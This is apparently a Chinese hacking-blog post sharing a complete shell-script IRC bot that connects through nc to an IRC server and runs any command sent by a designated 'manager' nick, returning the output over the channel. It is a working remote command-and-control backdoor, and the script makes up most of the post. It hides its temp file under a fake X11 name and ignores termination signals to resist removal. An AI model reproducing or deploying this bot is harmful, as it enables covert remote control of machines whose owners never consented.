shell算是剛剛起步,這個主要是利用了tail- f 通過管道重新導向到nc來與irc伺服器進行通訊,然後利用sed對其格式化使之符合協議,其他沒啥東西了
實現的功能就是命令執行。
代碼估計很不成熟,還在學習中,希望大家對細節多提出一些指點。
01 #!/bin/sh
02
03 #Shell IRC Bot demo Based on RFC 1459
04 #Author:Tm3yShell7 @ www.hackshell.net
05 #2011/8/5
06
07 myname='testBot' #what you call me?
08 svradd='127.0.0.1 6667' #where can i find you? "Oppo" find me : P
09 channel='bots' #irc channel
10 tmpfile='/tmp/.X11-map-enUS' #temp file at runtime
11 mgr='god' #manager nick in irc
12 cwd='/tmp' # current work directry
13
14 trap "" TERM HUP INT QUIT TSTP
15 #just leave it
16
17 echo "NICK $myname" > $tmpfile
18 echo "USER $myname `hostname` servername realname" >> $tmpfile
19 echo "JOIN $channel" >> $tmpfile
20 echo "PRIVMSG $mgr :hey, im in!" >> $tmpfile
21 #connect to the irc server and say hello to my manager
22
23 tail -f $tmpfile| nc $svradd | while true; do
24 read cmd
25 echo $cmd | egrep "^:$mgr.*PRIVMSG $myname :" >/dev/null 2>&1
26 test $? -eq 0 || continue
27 #see if this message is for me?
28 cmd=$(echo $cmd | sed "s/^:$mgr.*PRIVMSG $myname ://" 2>/dev/null)
29 #delete the header
30 cmd=$(echo $cmd | sed "s/\r/\n/" 2>/dev/null)
31 #delete '\r'
32 echo $cmd | egrep "^cd *" >/dev/null 2>&1
33 test $? -eq 0 && cwd=$(cd $cwd;$cmd;pwd 2>/dev/null)
34 #update cwd if this is a "cd" command
35 echo $cmd | egrep "(^ ?*cd *)|(^ ?*pwd$)" >/dev/null 2>&1
36 test $? -eq 0 && cmd="echo [+]Pwd is now $cwd"
37 #overwirte the "pwd" command
38 cd $cwd;$cmd 2>&1| sed "s/^/PRIVMSG $mgr :/" | tee -a $tmpfile >/dev/null 2>&1
39 echo "[+] Complete" | sed "s/^/PRIVMSG $mgr :/" >> $tmpfile
40 #exec it and send
41 done
from:Tm3yShell7's Blog